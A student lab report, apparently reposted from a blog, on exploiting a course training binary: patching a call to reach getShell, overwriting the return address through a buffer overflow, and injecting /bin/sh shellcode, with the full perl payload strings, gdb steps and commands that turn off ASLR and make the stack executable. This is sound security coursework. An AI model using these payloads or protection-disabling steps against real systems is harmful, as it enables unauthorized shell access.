20165315 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解

20165315 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解

一、实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。但是该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

  • 直接修改程序机器指令,改变程序执行流程。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

需要重点掌握的知识点

函数调用过程栈帧变化:

二、实验步骤(有一些主机名为kali是由于我重启过kali,主机名忘记改成姓名拼音了...望老师谅解)

1、直接修改程序机器指令,改变程序执行流程

  • 下载目标文件pwn1,反汇编

第12行的"call 8048491 "指令的作用是调用位于地址8048491处的foo函数,对应机器指令为“e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为"getShell"函数地址对应的补码c3ffffff就行。

  • 执行如下指令,使main函数调用getShell函数
# cp pwn1 pwn2
# vi pwn2
以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8 d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq

  • 使用objdump -d pwn2 | more反汇编,call指令是否正确调用getShell

  • 运行修改后的代码,会得到shell提示符,即程序流程修改成功!

2、通过构造输入参数,造成BOF攻击,改变程序执行流

缓冲区溢出攻击原理

main函数调用f函数的栈结构如下图所示:

对buf进行数据拷贝,当0xffffd710覆盖了原来EIP的位置时,f函数在返回时就会将0xffffd710弹出来给EIP,程序根据EIP的地址寻找下面执行的程序,缓冲区溢出攻击成功,得到的结果如下图所示:

  • 使用gdb调试,运行后输入1111111122222222333333334444444455555555,结果如下图:

显示段错误,eip中存放的指令为0x35353535,不存在该地址,无法执行。但是只要将11111111222222223333333344444444'5555'5555中的前4个5所代表的地址改成getshell函数的内存地址,即可实现攻击。

  • 通过反汇编得知getshell函数的内存地址为0x0804847d

  • 构造输入字符串。通过perl,使用输出重定向“>”将生成的ASCII码字符串存储到文件input中。指令为perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

通过16进制查看指令xxd查看input文件,发现返回地址已经被覆盖。

  • 将input的输入,通过管道符“|”,作为pwn1的输入。指令为(cat input; cat) | ./20165315pwn1

BOF攻击成功!

3、注入Shellcode并执行

shellcode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell,所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

  • 准备工作

首先使用apt-get install execstack命令安装execstack

# execstack -s pwn1    //设置堆栈可执行
# execstack -q pwn1  //查询文件的堆栈是否可执行
# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
# more /proc/sys/kernel/randomize_va_space  //查看地址随机化是否已经关闭

  • 构造要注入的payload

两种溢出模式:

(1)打开一个终端输入(cat input_shellcode;cat) | ./pwn1注入这段攻击buf

(2)打开另外一个终端,用gdb来调试这个进程

# ps -ef | grep pwn1  //找到20165315pwn3的进程号
# gdb
(gdb) attach 3686
(gdb) disassemble foo

通过设置断点,来查看注入buf的内存地址

(gdb) break *0x080484ae
//在另外一个终端中按下回车
(gdb) c
(gdb) info r esp

(gdb) x/16x 0xffffd33c
//查看其存放内容,看到了01020304,就是返回地址的位置

根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340。

(3)将之前的\x4\x3\x2\x1改为\x40\xd3\xff\xff即可实现注入

# perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
# xxd input_shellcode
# (cat input_shellcode;cat) | ./20165315pwn3

注入成功!

三、实验收获

1、实验收获与感想
通过这次实验,我了解了PC平台逆向破解技术,掌握了函数调用栈帧结构、缓冲区溢出攻击技术和shellcode攻击技术,这些技术其实都挺好玩的,学习起来也充满乐趣。

本次实验虽然比较简单,但是过程也出现了很多问题,比如之前共享文件夹的设置没有完全成功,折腾了一番才找到共享文件夹...没有安装32位兼容器的问题也耗费了很多时间来查找...

我特别感谢刘老师和帮助我解决问题的给我同学,让我的实验少花费了更多时间,我之前的学习模式更偏向自己在网上找答案,如果网上解释的不详细或不正确,会造成很大的麻烦(这次的upgrade就让我的kali蓝屏了...差点自闭),现在我发现了询问老师同学会更快更方便~

2、什么是漏洞?漏洞有什么危害?

我觉得漏洞是在程序中存在的缺陷,威胁到系统安全的错误才是漏洞,从而可以使攻击者能够在未授权的情况下访问或破坏系统。

存在漏洞的计算机很容易被病毒、木马、黑客等侵入,导致软件崩溃或者被盗取重要信息,如密码等,破坏了通信的机密性、可靠性、可用性等等。

3、知识点解答:

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

(1)NOP:机器码:90。空指令。

(2)JNE:机器码:75。条件转移指令,如果不相等则跳转。

(3)JE:机器码:74。条件转移指令,如果相等则跳转。

(4)JMP:机器码:E9(Jmp near)EA(Jmp far)EB(Jmp short)FF(Jmp word)。无条件转移指令。

(5)CMP:机器码:38(CMP reg8/mem8,reg8)39(CMP reg16/mem16,reg16)3A(CMP reg8,reg8/mem8)3B(CMP reg16,reg16/mem16)3C(CMP al,immed8)3D(CMP ax,immed16)。比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。

掌握反汇编与十六进制编程器

# objdump -d:反汇编指令

# xxd:为给定的输入转换为十六进制的输出

# xxd -r:将十六进制输出转换为二进制格式

|:管道,将前者的输出作为后者的输入。

>:重定向符,将前者输出的内容输入到后者中。

能正确修改机器指令改变程序执行流程

见任务一

能正确构造payload进行bof攻击

见任务三

四、实验中出现的问题

1、完成任务一时出现“无法执行二进制文件”的错误

解决方法:
通过询问老师和同学,该问题的出现是由于没有安装kali的32bit兼容库,导致无法执行32位的文件。

安装兼容库方法请参照学姐的博客

2、安装任务三的execstack时出现如下图错误:

解决方法:
通过查询网络,出现这个问题的原因可能是有另外一个程序正在运行,占用软件源更新时的系统锁。而导致资源被锁的原因,可能是上次安装时没正常完成,而导致出现此状况。

通过输入sudo rm /var/cache/apt/archives/lock即可解锁。

猜你喜欢

转载自www.cnblogs.com/yh666/p/10520534.html